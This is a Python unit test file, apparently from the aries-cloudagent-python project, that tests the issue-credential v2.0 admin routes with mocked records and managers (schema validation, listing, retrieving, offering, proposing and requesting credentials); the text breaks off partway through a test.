40cc486c7966a3c03bb31e54704509679fb04d84
| 69,984
|
py
|
Python
|
aries_cloudagent/protocols/issue_credential/v2_0/tests/test_routes.py
|
procivis/aries-cloudagent-python
|
33389d7717fec29cd3b5d31a497079d389ddb586
|
[
"Apache-2.0"
] | null | null | null |
aries_cloudagent/protocols/issue_credential/v2_0/tests/test_routes.py
|
procivis/aries-cloudagent-python
|
33389d7717fec29cd3b5d31a497079d389ddb586
|
[
"Apache-2.0"
] | 1
|
2020-11-23T08:02:37.000Z
|
2020-11-23T08:02:37.000Z
|
aries_cloudagent/protocols/issue_credential/v2_0/tests/test_routes.py
|
procivis/aries-cloudagent-python
|
33389d7717fec29cd3b5d31a497079d389ddb586
|
[
"Apache-2.0"
] | null | null | null |
from asynctest import mock as async_mock, TestCase as AsyncTestCase
from .....admin.request_context import AdminRequestContext
from .....wallet.key_type import KeyType
from .....wallet.did_method import DIDMethod
from .....wallet.base import BaseWallet
from .....wallet.did_info import DIDInfo
from .. import routes as test_module
from ..formats.indy.handler import IndyCredFormatHandler
from ..formats.ld_proof.handler import LDProofCredFormatHandler
from ..messages.cred_format import V20CredFormat
from . import (
LD_PROOF_VC_DETAIL,
TEST_DID,
)
class TestV20CredRoutes(AsyncTestCase):
async def setUp(self):
self.session_inject = {}
self.context = AdminRequestContext.test_context(self.session_inject)
self.request_dict = {
"context": self.context,
"outbound_message_router": async_mock.CoroutineMock(),
}
self.request = async_mock.MagicMock(
app={},
match_info={},
query={},
__getitem__=lambda _, k: self.request_dict[k],
)
async def test_validate_cred_filter_schema(self):
schema = test_module.V20CredFilterSchema()
schema.validate_fields({"indy": {"issuer_did": TEST_DID}})
schema.validate_fields(
{"indy": {"issuer_did": TEST_DID, "schema_version": "1.0"}}
)
schema.validate_fields(
{
"indy": {"issuer_did": TEST_DID},
"ld_proof": {"credential": {}, "options": {}},
}
)
schema.validate_fields(
{
"indy": {},
"ld_proof": {"credential": {}, "options": {}},
}
)
with self.assertRaises(test_module.ValidationError):
schema.validate_fields({})
with self.assertRaises(test_module.ValidationError):
schema.validate_fields(["hopeless", "stop"])
with self.assertRaises(test_module.ValidationError):
schema.validate_fields({"veres-one": {"no": "support"}})
async def test_validate_create_schema(self):
schema = test_module.V20IssueCredSchemaCore()
schema.validate(
{
"filter": {"indy": {"issuer_did": TEST_DID}},
"credential_preview": {"..": ".."},
}
)
schema.validate({"filter": {"ld_proof": {"..": ".."}}})
with self.assertRaises(test_module.ValidationError):
schema.validate({"filter": {"indy": {"..": ".."}}})
async def test_validate_bound_offer_request_schema(self):
schema = test_module.V20CredBoundOfferRequestSchema()
schema.validate_fields({})
schema.validate_fields(
{"filter_": {"indy": {"issuer_did": TEST_DID}}, "counter_preview": {}}
)
schema.validate_fields(
{"filter_": {"ld_proof": {"issuer_did": TEST_DID}}, "counter_preview": {}}
)
with self.assertRaises(test_module.ValidationError):
schema.validate_fields({"filter_": {"indy": {"issuer_did": TEST_DID}}})
schema.validate_fields({"filter_": {"ld_proof": {"issuer_did": TEST_DID}}})
schema.validate_fields({"counter_preview": {}})
async def test_credential_exchange_list(self):
self.request.query = {
"thread_id": "dummy",
"connection_id": "dummy",
"role": "dummy",
"state": "dummy",
}
with async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec:
mock_cx_rec.query = async_mock.CoroutineMock(return_value=[mock_cx_rec])
mock_cx_rec.serialize = async_mock.MagicMock(
return_value={"hello": "world"}
)
with async_mock.patch.object(
test_module.web, "json_response"
) as mock_response:
await test_module.credential_exchange_list(self.request)
mock_response.assert_called_once_with(
{
"results": [
{
"cred_ex_record": mock_cx_rec.serialize.return_value,
"indy": None,
"ld_proof": None,
}
]
}
)
async def test_credential_exchange_list_x(self):
self.request.query = {
"thread_id": "dummy",
"connection_id": "dummy",
"role": "dummy",
"state": "dummy",
}
with async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec:
mock_cx_rec.connection_id = "conn-123"
mock_cx_rec.thread_id = "conn-123"
mock_cx_rec.query = async_mock.CoroutineMock(
side_effect=test_module.StorageError()
)
with self.assertRaises(test_module.web.HTTPBadRequest):
await test_module.credential_exchange_list(self.request)
async def test_credential_exchange_retrieve(self):
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec, async_mock.patch.object(
V20CredFormat.Format, "handler"
) as mock_handler:
mock_cx_rec.connection_id = "conn-123"
mock_cx_rec.thread_id = "conn-123"
mock_cx_rec.retrieve_by_id = async_mock.CoroutineMock()
mock_cx_rec.retrieve_by_id.return_value = mock_cx_rec
mock_cx_rec.serialize = async_mock.MagicMock()
mock_cx_rec.serialize.return_value = {"hello": "world"}
mock_handler.return_value.get_detail_record = async_mock.CoroutineMock(
side_effect=[
async_mock.MagicMock( # indy
serialize=async_mock.MagicMock(return_value={"...": "..."})
),
None, # ld_proof
]
)
with async_mock.patch.object(
test_module.web, "json_response"
) as mock_response:
await test_module.credential_exchange_retrieve(self.request)
mock_response.assert_called_once_with(
{
"cred_ex_record": mock_cx_rec.serialize.return_value,
"indy": {"...": "..."},
"ld_proof": None,
}
)
async def test_credential_exchange_retrieve_indy_ld_proof(self):
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec, async_mock.patch.object(
V20CredFormat.Format, "handler"
) as mock_handler:
mock_cx_rec.connection_id = "conn-123"
mock_cx_rec.thread_id = "conn-123"
mock_cx_rec.retrieve_by_id = async_mock.CoroutineMock()
mock_cx_rec.retrieve_by_id.return_value = mock_cx_rec
mock_cx_rec.serialize = async_mock.MagicMock()
mock_cx_rec.serialize.return_value = {"hello": "world"}
mock_handler.return_value.get_detail_record = async_mock.CoroutineMock(
side_effect=[
async_mock.MagicMock( # indy
serialize=async_mock.MagicMock(return_value={"in": "dy"})
),
async_mock.MagicMock( # ld_proof
serialize=async_mock.MagicMock(return_value={"ld": "proof"})
),
]
)
with async_mock.patch.object(
test_module.web, "json_response"
) as mock_response:
await test_module.credential_exchange_retrieve(self.request)
mock_response.assert_called_once_with(
{
"cred_ex_record": mock_cx_rec.serialize.return_value,
"indy": {"in": "dy"},
"ld_proof": {"ld": "proof"},
}
)
async def test_credential_exchange_retrieve_not_found(self):
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec:
mock_cx_rec.connection_id = "conn-123"
mock_cx_rec.thread_id = "conn-123"
mock_cx_rec.retrieve_by_id = async_mock.CoroutineMock(
side_effect=test_module.StorageNotFoundError()
)
with self.assertRaises(test_module.web.HTTPNotFound):
await test_module.credential_exchange_retrieve(self.request)
async def test_credential_exchange_retrieve_x(self):
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec, async_mock.patch.object(
V20CredFormat.Format, "handler"
) as mock_handler:
mock_cx_rec.connection_id = "conn-123"
mock_cx_rec.thread_id = "conn-123"
mock_cx_rec.retrieve_by_id = async_mock.CoroutineMock()
mock_cx_rec.retrieve_by_id.return_value = mock_cx_rec
mock_cx_rec.serialize = async_mock.MagicMock(
side_effect=test_module.BaseModelError()
)
mock_handler.return_value.get_detail_record = async_mock.CoroutineMock(
return_value=None
)
with self.assertRaises(test_module.web.HTTPBadRequest):
await test_module.credential_exchange_retrieve(self.request)
async def test_credential_exchange_create(self):
self.request.json = async_mock.CoroutineMock()
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_connection_record, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module.V20CredPreview, "deserialize", autospec=True
) as mock_cred_preview_deser, async_mock.patch.object(
test_module.web, "json_response"
) as mock_response:
mock_cred_mgr.return_value.create_offer = async_mock.CoroutineMock()
mock_cred_mgr.return_value.create_offer.return_value = (
async_mock.CoroutineMock(),
async_mock.CoroutineMock(),
)
mock_cx_rec = async_mock.MagicMock()
mock_cred_offer = async_mock.MagicMock()
mock_cred_mgr.return_value.prepare_send.return_value = (
mock_cx_rec,
mock_cred_offer,
)
await test_module.credential_exchange_create(self.request)
mock_response.assert_called_once_with(mock_cx_rec.serialize.return_value)
async def test_credential_exchange_create_x(self):
self.request.json = async_mock.CoroutineMock()
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_connection_record, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module.V20CredPreview, "deserialize", autospec=True
) as mock_cred_preview_deser, async_mock.patch.object(
test_module.web, "json_response"
) as mock_response:
mock_cred_mgr.return_value.create_offer = async_mock.CoroutineMock()
mock_cred_mgr.return_value.create_offer.return_value = (
async_mock.CoroutineMock(),
async_mock.CoroutineMock(),
)
mock_cred_mgr.return_value.prepare_send.side_effect = (
test_module.StorageError()
)
with self.assertRaises(test_module.web.HTTPBadRequest):
await test_module.credential_exchange_create(self.request)
async def test_credential_exchange_create_no_filter(self):
connection_id = "connection-id"
self.request.json = async_mock.CoroutineMock(
return_value={
"connection_id": connection_id,
"credential_preview": {
"attributes": [{"name": "hello", "value": "world"}]
},
}
)
with self.assertRaises(test_module.web.HTTPBadRequest) as context:
await test_module.credential_exchange_create(self.request)
assert "Missing filter" in str(context.exception)
async def test_credential_exchange_send(self):
self.request.json = async_mock.CoroutineMock()
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module.V20CredPreview, "deserialize", autospec=True
) as mock_cred_preview_deser, async_mock.patch.object(
test_module.web, "json_response"
) as mock_response:
mock_cred_mgr.return_value.create_offer = async_mock.CoroutineMock()
mock_cred_mgr.return_value.create_offer.return_value = (
async_mock.CoroutineMock(),
async_mock.CoroutineMock(),
)
mock_cx_rec = async_mock.MagicMock()
mock_cred_offer = async_mock.MagicMock()
mock_cred_mgr.return_value.prepare_send.return_value = (
mock_cx_rec,
mock_cred_offer,
)
await test_module.credential_exchange_send(self.request)
mock_response.assert_called_once_with(mock_cx_rec.serialize.return_value)
async def test_credential_exchange_send_no_conn_record(self):
connection_id = "connection-id"
preview_spec = {"attributes": [{"name": "attr", "value": "value"}]}
self.request.json = async_mock.CoroutineMock(
return_value={
"connection_id": connection_id,
"credential_preview": preview_spec,
}
)
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr:
# Emulate storage not found (bad connection id)
mock_conn_rec.retrieve_by_id = async_mock.CoroutineMock(
side_effect=test_module.StorageNotFoundError()
)
mock_cred_mgr.return_value.create_offer.return_value = (
async_mock.MagicMock(),
async_mock.MagicMock(),
)
with self.assertRaises(test_module.web.HTTPBadRequest):
await test_module.credential_exchange_send(self.request)
async def test_credential_exchange_send_not_ready(self):
connection_id = "connection-id"
preview_spec = {"attributes": [{"name": "attr", "value": "value"}]}
self.request.json = async_mock.CoroutineMock(
return_value={
"connection_id": connection_id,
"credential_preview": preview_spec,
"filter": {"indy": {"schema_version": "1.0"}},
}
)
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr:
mock_conn_rec.retrieve_by_id.return_value.is_ready = False
mock_cred_mgr.return_value.create_offer.return_value = (
async_mock.MagicMock(),
async_mock.MagicMock(),
)
with self.assertRaises(test_module.web.HTTPForbidden):
await test_module.credential_exchange_send(self.request)
async def test_credential_exchange_send_x(self):
self.request.json = async_mock.CoroutineMock()
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module.V20CredPreview, "deserialize", autospec=True
) as mock_cred_preview_deser:
mock_cred_ex_record = async_mock.MagicMock(
serialize=async_mock.MagicMock(
side_effect=test_module.BaseModelError()
),
save_error_state=async_mock.CoroutineMock(),
)
mock_cred_offer = async_mock.MagicMock()
mock_cred_mgr.return_value = async_mock.CoroutineMock(
create_offer=async_mock.CoroutineMock(
return_value=(
async_mock.CoroutineMock(),
async_mock.CoroutineMock(),
)
),
prepare_send=async_mock.CoroutineMock(
return_value=(
mock_cred_ex_record,
mock_cred_offer,
)
),
)
with self.assertRaises(test_module.web.HTTPBadRequest):
await test_module.credential_exchange_send(self.request)
async def test_credential_exchange_send_proposal(self):
connection_id = "connection-id"
preview_spec = {"attributes": [{"name": "attr", "value": "value"}]}
self.request.json = async_mock.CoroutineMock(
return_value={
"connection_id": connection_id,
"credential_preview": preview_spec,
"filter": {"indy": {"schema_version": "1.0"}},
}
)
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module.web, "json_response"
) as mock_response:
mock_cx_rec = async_mock.MagicMock()
mock_cred_mgr.return_value.create_proposal.return_value = mock_cx_rec
await test_module.credential_exchange_send_proposal(self.request)
mock_response.assert_called_once_with(mock_cx_rec.serialize.return_value)
self.request["outbound_message_router"].assert_awaited_once()
async def test_credential_exchange_send_proposal_no_filter(self):
connection_id = "connection-id"
self.request.json = async_mock.CoroutineMock(
return_value={
"comment": "comment",
"connection_id": connection_id,
}
)
with self.assertRaises(test_module.web.HTTPBadRequest) as context:
await test_module.credential_exchange_send_proposal(self.request)
assert "Missing filter" in str(context.exception)
async def test_credential_exchange_send_proposal_no_conn_record(self):
self.request.json = async_mock.CoroutineMock()
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module.V20CredPreview, "deserialize", autospec=True
) as mock_preview_deser:
# Emulate storage not found (bad connection id)
mock_conn_rec.retrieve_by_id = async_mock.CoroutineMock(
side_effect=test_module.StorageNotFoundError()
)
mock_cred_mgr.return_value.create_proposal.return_value = (
async_mock.MagicMock()
)
with self.assertRaises(test_module.web.HTTPBadRequest):
await test_module.credential_exchange_send_proposal(self.request)
async def test_credential_exchange_send_proposal_x(self):
connection_id = "connection-id"
preview_spec = {"attributes": [{"name": "attr", "value": "value"}]}
self.request.json = async_mock.CoroutineMock(
return_value={
"connection_id": connection_id,
"credential_preview": preview_spec,
"filter": {"indy": {"schema_version": "1.0"}},
}
)
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr:
mock_cx_rec = async_mock.MagicMock(
serialize=async_mock.MagicMock(
side_effect=test_module.BaseModelError()
),
save_error_state=async_mock.CoroutineMock(),
)
mock_cred_mgr.return_value.create_proposal.return_value = mock_cx_rec
with self.assertRaises(test_module.web.HTTPBadRequest):
await test_module.credential_exchange_send_proposal(self.request)
async def test_credential_exchange_send_proposal_not_ready(self):
self.request.json = async_mock.CoroutineMock()
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module.V20CredPreview, "deserialize", autospec=True
) as mock_preview_deser:
# Emulate connection not ready
mock_conn_rec.retrieve_by_id = async_mock.CoroutineMock()
mock_conn_rec.retrieve_by_id.return_value.is_ready = False
mock_cred_mgr.return_value.create_proposal.return_value = (
async_mock.MagicMock()
)
with self.assertRaises(test_module.web.HTTPForbidden):
await test_module.credential_exchange_send_proposal(self.request)
async def test_credential_exchange_create_free_offer(self):
self.request.json = async_mock.CoroutineMock(
return_value={
"auto_issue": False,
"credential_preview": {
"attributes": [{"name": "hello", "value": "world"}]
},
"filter": {"indy": {"schema_version": "1.0"}},
}
)
self.context.update_settings({"debug.auto_respond_credential_offer": True})
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module.web, "json_response"
) as mock_response:
mock_cred_mgr.return_value.create_offer = async_mock.CoroutineMock()
mock_cx_rec = async_mock.MagicMock()
mock_cred_mgr.return_value.create_offer.return_value = (
mock_cx_rec,
async_mock.MagicMock(),
)
await test_module.credential_exchange_create_free_offer(self.request)
mock_response.assert_called_once_with(mock_cx_rec.serialize.return_value)
async def test_credential_exchange_create_free_offer_no_filter(self):
self.request.json = async_mock.CoroutineMock(
return_value={
"auto_issue": False,
"credential_preview": {
"attributes": [{"name": "hello", "value": "world"}]
},
}
)
with self.assertRaises(test_module.web.HTTPBadRequest) as context:
await test_module.credential_exchange_create_free_offer(self.request)
assert "Missing filter" in str(context.exception)
async def test_credential_exchange_create_free_offer_x(self):
self.request.json = async_mock.CoroutineMock(
return_value={
"auto_issue": False,
"credential_preview": {
"attributes": [{"name": "hello", "value": "world"}]
},
"filter": {"indy": {"schema_version": "1.0"}},
}
)
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr:
mock_cx_rec = async_mock.MagicMock(
serialize=async_mock.MagicMock(
side_effect=test_module.BaseModelError(),
),
save_error_state=async_mock.CoroutineMock(),
)
mock_cred_mgr.return_value = async_mock.MagicMock(
create_offer=async_mock.CoroutineMock(
return_value=(
mock_cx_rec,
async_mock.MagicMock(),
)
)
)
with self.assertRaises(test_module.web.HTTPBadRequest):
await test_module.credential_exchange_create_free_offer(self.request)
async def test_credential_exchange_send_free_offer(self):
self.request.json = async_mock.CoroutineMock(
return_value={
"auto_issue": False,
"credential_preview": {
"attributes": [{"name": "hello", "value": "world"}]
},
"filter": {"indy": {"schema_version": "1.0"}},
}
)
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module.web, "json_response"
) as mock_response:
mock_cred_mgr.return_value.create_offer = async_mock.CoroutineMock()
mock_cx_rec = async_mock.MagicMock()
mock_cred_mgr.return_value.create_offer.return_value = (
mock_cx_rec,
async_mock.MagicMock(),
)
await test_module.credential_exchange_send_free_offer(self.request)
mock_response.assert_called_once_with(mock_cx_rec.serialize.return_value)
async def test_credential_exchange_send_free_offer_no_filter(self):
self.request.json = async_mock.CoroutineMock(
return_value={
"comment": "comment",
"credential_preview": {
"attributes": [{"name": "hello", "value": "world"}]
},
}
)
with self.assertRaises(test_module.web.HTTPBadRequest) as context:
await test_module.credential_exchange_send_free_offer(self.request)
assert "Missing filter" in str(context.exception)
async def test_credential_exchange_send_free_offer_no_conn_record(self):
self.request.json = async_mock.CoroutineMock(
return_value={
"auto_issue": False,
"credential_preview": {
"attributes": [{"name": "hello", "value": "world"}]
},
"filter": {"indy": {"schema_version": "1.0"}},
}
)
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr:
# Emulate storage not found (bad connection id)
mock_conn_rec.retrieve_by_id = async_mock.CoroutineMock(
side_effect=test_module.StorageNotFoundError()
)
mock_cred_mgr.return_value.create_offer = async_mock.CoroutineMock()
mock_cred_mgr.return_value.create_offer.return_value = (
async_mock.MagicMock(),
async_mock.MagicMock(),
)
with self.assertRaises(test_module.web.HTTPBadRequest):
await test_module.credential_exchange_send_free_offer(self.request)
async def test_credential_exchange_send_free_offer_not_ready(self):
self.request.json = async_mock.CoroutineMock(
return_value={
"auto_issue": True,
"credential_preview": {
"attributes": [{"name": "hello", "value": "world"}]
},
"filter": {"indy": {"schema_version": "1.0"}},
}
)
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr:
# Emulate connection not ready
mock_conn_rec.retrieve_by_id = async_mock.CoroutineMock()
mock_conn_rec.retrieve_by_id.return_value.is_ready = False
mock_cred_mgr.return_value.create_offer = async_mock.CoroutineMock()
mock_cred_mgr.return_value.create_offer.return_value = (
async_mock.MagicMock(),
async_mock.MagicMock(),
)
with self.assertRaises(test_module.web.HTTPForbidden):
await test_module.credential_exchange_send_free_offer(self.request)
async def test_credential_exchange_send_free_offer_x(self):
self.request.json = async_mock.CoroutineMock(
return_value={
"auto_issue": False,
"credential_preview": {
"attributes": [{"name": "hello", "value": "world"}]
},
"filter": {"indy": {"schema_version": "1.0"}},
}
)
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module.web, "json_response"
) as mock_response:
mock_cx_rec = async_mock.MagicMock(
serialize=async_mock.MagicMock(
side_effect=test_module.BaseModelError()
),
save_error_state=async_mock.CoroutineMock(),
)
mock_cred_mgr.return_value = async_mock.CoroutineMock(
create_offer=async_mock.CoroutineMock(
return_value=(
mock_cx_rec,
async_mock.MagicMock(),
)
)
)
with self.assertRaises(test_module.web.HTTPBadRequest):
await test_module.credential_exchange_send_free_offer(self.request)
async def test_credential_exchange_send_bound_offer(self):
self.request.json = async_mock.CoroutineMock(return_value={})
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec_cls, async_mock.patch.object(
test_module.web, "json_response"
) as mock_response:
mock_cx_rec_cls.retrieve_by_id = async_mock.CoroutineMock()
mock_cx_rec_cls.retrieve_by_id.return_value.state = (
test_module.V20CredExRecord.STATE_PROPOSAL_RECEIVED
)
mock_cred_mgr.return_value.create_offer = async_mock.CoroutineMock()
mock_cx_rec = async_mock.MagicMock()
mock_cred_mgr.return_value.create_offer.return_value = (
mock_cx_rec,
async_mock.MagicMock(),
)
await test_module.credential_exchange_send_bound_offer(self.request)
mock_response.assert_called_once_with(mock_cx_rec.serialize.return_value)
async def test_credential_exchange_send_bound_offer_bad_cred_ex_id(self):
self.request.json = async_mock.CoroutineMock(return_value={})
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec:
mock_cx_rec.connection_id = "conn-123"
mock_cx_rec.thread_id = "conn-123"
mock_cx_rec.retrieve_by_id = async_mock.CoroutineMock()
mock_cx_rec.retrieve_by_id.side_effect = test_module.StorageNotFoundError()
with self.assertRaises(test_module.web.HTTPNotFound):
await test_module.credential_exchange_send_bound_offer(self.request)
async def test_credential_exchange_send_bound_offer_no_conn_record(self):
self.request.json = async_mock.CoroutineMock(return_value={})
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec:
mock_cx_rec.connection_id = "conn-123"
mock_cx_rec.thread_id = "conn-123"
mock_cx_rec.retrieve_by_id = async_mock.CoroutineMock(
return_value=async_mock.MagicMock(
state=mock_cx_rec.STATE_PROPOSAL_RECEIVED,
save_error_state=async_mock.CoroutineMock(),
)
)
# Emulate storage not found (bad connection id)
mock_conn_rec.retrieve_by_id = async_mock.CoroutineMock(
side_effect=test_module.StorageNotFoundError()
)
mock_cred_mgr.return_value.create_offer = async_mock.CoroutineMock()
mock_cred_mgr.return_value.create_offer.return_value = (
async_mock.MagicMock(),
async_mock.MagicMock(),
)
with self.assertRaises(test_module.web.HTTPBadRequest):
await test_module.credential_exchange_send_bound_offer(self.request)
async def test_credential_exchange_send_bound_offer_bad_state(self):
self.request.json = async_mock.CoroutineMock(return_value={})
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec:
mock_cx_rec.connection_id = "conn-123"
mock_cx_rec.thread_id = "conn-123"
mock_cx_rec.retrieve_by_id = async_mock.CoroutineMock(
return_value=async_mock.MagicMock(
state=mock_cx_rec.STATE_DONE,
save_error_state=async_mock.CoroutineMock(),
)
)
with self.assertRaises(test_module.web.HTTPBadRequest):
await test_module.credential_exchange_send_bound_offer(self.request)
async def test_credential_exchange_send_bound_offer_not_ready(self):
self.request.json = async_mock.CoroutineMock(return_value={})
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec:
mock_cx_rec.connection_id = "conn-123"
mock_cx_rec.thread_id = "conn-123"
mock_cx_rec.retrieve_by_id = async_mock.CoroutineMock()
mock_cx_rec.retrieve_by_id.return_value.state = (
test_module.V20CredExRecord.STATE_PROPOSAL_RECEIVED
)
# Emulate connection not ready
mock_conn_rec.retrieve_by_id = async_mock.CoroutineMock()
mock_conn_rec.retrieve_by_id.return_value.is_ready = False
mock_cred_mgr.return_value.create_offer = async_mock.CoroutineMock()
mock_cred_mgr.return_value.create_offer.return_value = (
async_mock.MagicMock(),
async_mock.MagicMock(),
)
with self.assertRaises(test_module.web.HTTPForbidden):
await test_module.credential_exchange_send_bound_offer(self.request)
async def test_credential_exchange_send_request(self):
self.request.json = async_mock.CoroutineMock()
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec_cls, async_mock.patch.object(
test_module.web, "json_response"
) as mock_response:
mock_cx_rec_cls.retrieve_by_id = async_mock.CoroutineMock()
mock_cx_rec_cls.retrieve_by_id.return_value.state = (
test_module.V20CredExRecord.STATE_OFFER_RECEIVED
)
mock_cx_rec = async_mock.MagicMock()
mock_cred_mgr.return_value.create_request.return_value = (
mock_cx_rec,
async_mock.MagicMock(),
)
await test_module.credential_exchange_send_bound_request(self.request)
mock_response.assert_called_once_with(mock_cx_rec.serialize.return_value)
async def test_credential_exchange_send_request_bad_cred_ex_id(self):
self.request.json = async_mock.CoroutineMock()
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec:
mock_cx_rec.connection_id = "conn-123"
mock_cx_rec.thread_id = "conn-123"
mock_cx_rec.retrieve_by_id = async_mock.CoroutineMock()
mock_cx_rec.retrieve_by_id.side_effect = test_module.StorageNotFoundError()
with self.assertRaises(test_module.web.HTTPNotFound):
await test_module.credential_exchange_send_bound_request(self.request)
async def test_credential_exchange_send_request_no_conn_record(self):
self.request.json = async_mock.CoroutineMock()
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec:
mock_cx_rec.connection_id = "conn-123"
mock_cx_rec.thread_id = "conn-123"
mock_cx_rec.retrieve_by_id = async_mock.CoroutineMock()
mock_cx_rec.retrieve_by_id.return_value = async_mock.MagicMock(
state=mock_cx_rec.STATE_OFFER_RECEIVED,
save_error_state=async_mock.CoroutineMock(),
)
# Emulate storage not found (bad connection id)
mock_conn_rec.retrieve_by_id = async_mock.CoroutineMock(
side_effect=test_module.StorageNotFoundError()
)
mock_cred_mgr.return_value.create_offer = async_mock.CoroutineMock()
mock_cred_mgr.return_value.create_offer.return_value = (
async_mock.MagicMock(),
async_mock.MagicMock(),
)
with self.assertRaises(test_module.web.HTTPBadRequest):
await test_module.credential_exchange_send_bound_request(self.request)
async def test_credential_exchange_send_request_not_ready(self):
self.request.json = async_mock.CoroutineMock()
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec:
mock_cx_rec.connection_id = "conn-123"
mock_cx_rec.thread_id = "conn-123"
mock_cx_rec.retrieve_by_id = async_mock.CoroutineMock()
mock_cx_rec.retrieve_by_id.return_value.state = (
test_module.V20CredExRecord.STATE_OFFER_RECEIVED
)
# Emulate connection not ready
mock_conn_rec.retrieve_by_id = async_mock.CoroutineMock()
mock_conn_rec.retrieve_by_id.return_value.is_ready = False
mock_cred_mgr.return_value.create_offer = async_mock.CoroutineMock()
mock_cred_mgr.return_value.create_offer.return_value = (
async_mock.MagicMock(),
async_mock.MagicMock(),
)
with self.assertRaises(test_module.web.HTTPForbidden):
await test_module.credential_exchange_send_bound_request(self.request)
async def test_credential_exchange_send_free_request(self):
self.request.json = async_mock.CoroutineMock(
return_value={
"filter": {"ld_proof": LD_PROOF_VC_DETAIL},
}
)
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module.web, "json_response"
) as mock_response:
